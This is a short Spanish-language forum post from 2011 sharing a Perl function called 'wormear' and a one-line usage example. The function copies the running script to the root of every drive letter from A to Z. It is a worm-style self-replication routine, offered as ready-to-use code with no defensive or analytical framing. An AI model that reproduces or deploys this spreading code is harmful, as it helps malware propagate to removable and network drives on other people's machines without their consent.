Autor Tema: [Perl] Funcion wormer() (Leído 738 veces)

Doddy · « **en:** Mayo 28, 2011, 03:36:28 am »

Funcion para copiar un archivo a todas las unidades

Código: You are not allowed to view links. Register or Login

#ascii chr(65) = A | chr(90) = Z
#By Doddy H

use File::Copy;

sub wormear {
for my $dir(65..90) {
copy($0,chr($dir).":/");
}
}

Ejemplo de uso

Código: You are not allowed to view links. Register or Login


wormear($0);

[Perl] Funcion wormer()